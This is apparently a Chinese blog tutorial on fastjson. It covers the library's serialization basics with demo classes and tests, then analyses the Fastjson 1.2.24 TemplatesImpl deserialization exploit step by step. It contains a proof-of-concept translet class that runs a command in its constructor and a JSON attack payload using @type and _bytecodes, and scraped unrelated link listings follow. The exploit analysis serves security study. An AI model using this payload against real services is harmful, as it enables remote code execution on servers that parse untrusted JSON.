从0开始fastjson漏洞分析
关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson这个漏洞出来了很久,一直没时间分析,耽搁了,今天捡起来
因为我们要分析fastjson相关漏洞,所以我们先去学习fastjson的基础使用,如果我们连fastjson都不知道,更何谈漏洞分析呢?
首先先搭建相关漏洞环境:
使用maven,非常方便我们切换相关漏洞版本:
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId>
<artifactId>Java_Test</artifactId>
<version>1.0-SNAPSHOT</version> <dependencies>
<!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->
<!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<!--fastjson1.2.24环境安装-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency> <dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties> </project>
然后点击刷新按钮,会自动帮我们安装相关依赖
至此,我们就拥有了fastjson环境
什么是fastjson?
fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
简单点说就是帮我们处理json数据的
搓个demo:
Student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){ }
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
Teacher.java:
package com.test.fastjson; import java.util.List; public class Teacher {
private int id;
private String name;
private List<Student> studentList;
public Teacher(){ } public Teacher(int id, String name, List<Student> studentList) {
this.id = id;
this.name = name;
this.studentList = studentList;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public List<Student> getStudentList() {
return studentList;
} public void setStudentList(List<Student> studentList) {
this.studentList = studentList;
} @Override
public String toString() {
return "Teacher{" +
"id=" + id +
", name='" + name + '\'' +
", studentList=" + studentList +
'}';
}
}
编写测试类:
@Test
public void fastjson_test1(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSON(student));
}
把对象转换成json格式数据
支持复杂的对象转换json处理:
@Test
public void fastjson_test2(){
List<Student> studentList = new ArrayList<Student>();
for(int i=0;i<4;i++){
Student student = new Student(i, "jack" + i, 23 + i);
studentList.add(student);
}
List<Teacher> teacherList = new ArrayList<Teacher>();
Teacher teacher = new Teacher();
teacher.setStudentList(studentList);
System.out.println(JSON.toJSON(teacher));
}
除了使用toJSON方法转换外,还可以使用toJSONString方法:
@Test
public void fastjson_test3(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSONString(student));
}
查看返回类型,String类型
说明是把student对象数据转换成字符串json数据
JSON.toJSONString的扩展:
需求如下:只需要Student对象的id和age字段,不要name字段,怎么做?
@Test
public void fastjson_test4(){
Student student = new Student(1,"jack",24);
//过滤只要id和age字段
SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
String value = JSON.toJSONString(student, filter);
System.out.println(value);
}
设置保留id和age字段
通过上面的学习知道了如果想把对象转换成json数据可以使用JSON.toJSON,或者使用JSON.toJSONString
我们继续学习,下一步我们尝试把json数据转换成对象,还原我们的对象:
//反序列化,str类型数据转换成class类型对象
@Test
public void fastjson_test5(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student);
System.out.println("转换成json数据");
System.out.println(value);
System.out.println("str类型json数据转换成class类型对象");
System.out.println(JSON.parseObject(value, Student.class));
}
通过上面代码,我们可以发现一个重点:
fastjson会处理字符串类型的json数据,上面的value变量是字符串类型,这对我们后续漏洞分析很有帮助
继续扩展JSON.toJSONString:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}
把结果输出出来:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
发现多了个@type字段,说明了我们Student对象转换成json数据的数据类型,告诉我们是com.test.fastjson.Student类型的数据被转换成json数据了.
我们继续学习:
前面说了fastjson会处理我们的字符串json,直接写一段字符串json数据:
@Test
public void fastjson_test7(){
String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(jsonStr);
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}
我们这样写,会发现最后字符串json没有转换成对象
为什么?
因为fastjson找不到我们要转换的json数据在哪个类,这里我们要声明类型:
再次修改:
@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}
有意思的地方来了,声明类型后的字符串json数据,fastjson并没有把它转换成对象:
深入跟踪下:
在JSON.parseObject处打个断点:
跟进去:
继续进函数:
value=Student{id=1, name='jack', age=24}
继续下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
判断引用obj指向的对象是否是JSONObject,如果是就直接返回,否则就返回toJSON处理:
继续下一步执行:
熟悉吧toJSON,把我们的student对象再次转换成了json数据...:
那么最后的返回就是:
解决办法:使用parse替换parseObject:
@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parse(jsonStr));
}
这一次,我们成功把字符串json数据转换成了对象:
可能作为开发,到这一步已经学完了基础的常用用法,但是对于安全来说,这里可能是否可能会存在安全隐患呢?
猜测:fastjson会根据我们申明的类型,fastjson在反序列化我们的字符串json数据的时候,会把它转换成对象,那么如果我们的type字段上输入恶意类,是否会在java反序列化的时候导致安全问题呢?
这就是fastjson安全漏洞的最初产生,恶意修改type类,导致安全问题
深入研究fastjson的对象转json,json转对象的调用机制:
修改我们的Student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
消除我们的构造方法:
编写测试方法:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}
直接报错了,发现我们json转str失败,我们反序列化失败,报错提示默认的构造方法不存在,说明前置条件1:fastjson反序列化必须要构造方法
再次修改student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
再次运行上面的测试方法:
继续探索:
再次修改student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
System.out.println("setId被调用");
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
在set方法中新增了一条输出语句
再次运行上面的测试方法:
尝试删除set方法:
修改student.java:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} // public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// } public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
代码中注释了setId方法
再次运行:
结论:反序列化对象的时候,如果对象中的属性定义是private,那么必须设置set方法,protected修饰符也是一样,必须设置set方法
只有set方法,没有定义get方法可以被反序列化吗?
注释掉get方法,保留set方法:
结论:不可以,最起码在JSON.parseObject下是不可以的
总结:使用JSON.parseObject反序列化的时候,属性字段如果是private和protected修饰的时候,必须有set和get方法,否则可能导致某些字段反序列化失败
再次修改student.java文件:
package com.test.fastjson; public class Student {
public int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} // public int getId() {
// return id;
// } // public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// } public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
修改private为public,注释掉set和get方法
再次运行测试方法:
结论:public字段下,set/get可有可无
还是回到priavte字段问题,再次修改student.class:
package com.test.fastjson; public class Student {
private int id;
private String name;
private int age; public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} public int getId() {
return id;
} // public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// } public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
注释了set方法,保留get方法:
前面说了,set和get方法缺一不可,所以我们JSON.ParseObject,一定是反序列化失败的
是否有解决方案?
修改测试方法为:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
System.out.println(student1);
}
再次运行:
Feature.SupportNonPublicField可以让我们忽略设置set方法,只要设置get方法,就能达成反序列化
最终结论总结:fastjson反序列化依赖于set和get方法,而且必须要有构造方法,最优先调用的是构造方法,fastjson设置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一样
好了,基础部分全部讲完了,包括他反序列化和字段以及构造方法的调用问题
下面介绍fastjson第一个漏洞:
利用链:Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链比较鸡肋
但是分析这条利用链,可以让你很清楚知道fastjson内部是怎么进行序列化的,反序列化的,通过前面写的demo,我们已经对fastjson内部处理对象和json转换对象有了较为详细的认知
poc构造:我是mac,windows直接calc即可:
Poc1.java:
package com.test.fastjson; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc1 extends AbstractTranslet {
public Poc1() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException {
Poc1 poc1 = new Poc1();
}
}
编译运行一次生成字节码,然后全局base64编码:
反序列化攻击:
AttackPoc1.java:
package com.test.fastjson; import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature; public class AttackPoc1 {
public static void main(String[] args) throws ClassNotFoundException {
String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
"[\"刚刚生成的base64编码的字节码数据\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
"{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}
运行:
成功命令执行弹窗计算器
原理分析,先抛出疑惑点:
去除Feature.SupportNonPublicField还可以命令执行吗?
运行没有命令执行,前面我们学习了Feature.SupportNonPublicField是当我们设置get方法,而没有设置set方法的补救,即使没有set方法也会帮我们反序列化成功
跟进TemplatesImpl类:可以debug进去,这里我选择反射进去:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以这个字段为例:
搜索setOutputProperties:
所以我们他一定要依赖于Feature.SupportNonPublicField
打个断点,深入跟踪下:
解决我们的几个疑惑
(1)为什么_bytecodes定义的数据得是base64编码
(2)fastjson反序列化是怎么走的?
下个断点:
先搞清楚第一个问题bytecodes字节码为什么是base64编码:
判断开头输入是否是{:
继续往下:
设置token为12,很重要,后面的判断都要基于token:
一直下一步执行:
通过loadClass加载我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:
集合存储恶意类:
然后不断判断我们的clazz是什么类型:
不符合条件就继续往下找:
通过反射获取所有的方法
判断方法的定义规则:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class<?>[] types = method.getParameterTypes();
方法名字要符合这个条件:
获取字段:
debug真的脑子疼:
重点来了:
反序列化字段:
继续往下跟:
继续往下:
最后出函数调用parseObject:
最后执行命令:
2.bytescodes base编码原由:
反序列化的时候调用:
byte[] bytes = lexer.bytesValue();
lexer.nextToken(16);
会调用base64解码:
静态调试下:
跟进方法:
方法在接口类中,找接口实现类:
搜索到一个:
进去:
发现是个抽象类:
java基础核心概念:
如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:
查看他的子类:
他的父类是object:
选择他的子类进去看看:
搜索byteValue,查看其函数实现:
至此第一条鸡肋的利用链分析完毕,明天我分析下不鸡肋的利用链,利用jndi注入直接rce
从0开始fastjson漏洞分析的更多相关文章
- 从0开始fastjson漏洞分析2
从0开始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html 有了前文铺垫,可以说对fastjson内部机制和fas ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- PHPCMS V9.6.0 SQL注入漏洞分析
0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...
- Apache Roller 5.0.3 XXE漏洞分析
下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...
- ECShop 2.x 3.0代码执行漏洞分析
0×00 前言 ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店.2.x版本跟3.0版本存在代码执行漏洞. 0×01 漏洞原理 ECShop 没有对 $GLOBAL[‘_SE ...
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04 IDA 7.0 docker 0x00:漏洞分析 1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack.heap. ...
- Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析
Apache Log4j 漏洞分析 仅用于研究漏洞原理,禁止用于非法用途,后果自负!!! CVE-2019-17571 漏洞描述 Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开 ...
随机推荐
- python tempfile 创建临时目录
一.tempfile介绍 该模块创建临时文件和目录.它适用于所有支持的平台.TemporaryFile,NamedTemporaryFile,TemporaryDirectory,和SpooledTe ...
- mysql建表约束
--mysql建表约束--主键约束它能够唯一确定一张表中的内容,也就是我们通过某个字段添加约束,就可以是的该字段唯一(不重复)且不为空.create table user( id int pr ...
- C#控制鼠标自动连续点(DEMO)
---------------------------界面---------------------------------------------------- ------------------ ...
- 《逆向工程核心原理》Windows消息钩取
DLL注入--使用SetWindowsHookEx函数实现消息钩取 MSDN: SetWindowsHookEx Function The SetWindowsHookEx function inst ...
- Typora的MarkDown语法快捷键
Typora的MarkDown语法快捷键 1.标题 项目 快捷键一 快捷键二 一级标题 #+空格+文本+回车 Ctrl+1 二级标题 ##+空格+文本+回车 ctrl+2 三级-- ###-- ctr ...
- Android Studio 之 BaseAdapter 学习笔记
•前行必备--ListView的显示与缓存机制 我们知道 ListView.GridView 等控件可以展示大量的数据信息. 假如下图中的 ListView 可以展示 100 条信息,但是屏幕的尺寸是 ...
- AppDomain实现【插件式】开发
前言: 近期项目中需要实现"热插拔"式的插件程序,例如:定义一个插件接口:由不同开发人员实现具体的插件功能类库:并最终在应用中调用具体插件功能. 此时需要考虑:插件执行的安全性(隔 ...
- (原创)高DPI适配经验系列:(二)按DPI范围适配
一.前言 一个软件,往往会用到位图资源,比如图标.图片.水晶按钮等. 在使用了位图资源后,就不能对任意DPI都进行适配,因为这样适配的代价太大了. 像Win10的缩放比例可以由100%-500%,如果 ...
- Oracle-DG 主库将log_archive_dest_state_2远程归档线程参数设置为defer,为什么dg还是处于实时同步状态?
一.需求,前段时间,墨天伦有个小伙伴咨询了这个问题,搞了测试环境测试下. Oracle-DG 主库将log_archive_dest_state_2远程归档线程参数设置为defer,为什么dg还是处于 ...
- LAMP架构上线动态网站WordPress
第一步,一键安装LAMP架构所需要的程序 yum install -y httpd mariadb-server php php-mysql 第二步,配置httpd,修改主配置文件/etc/httpd ...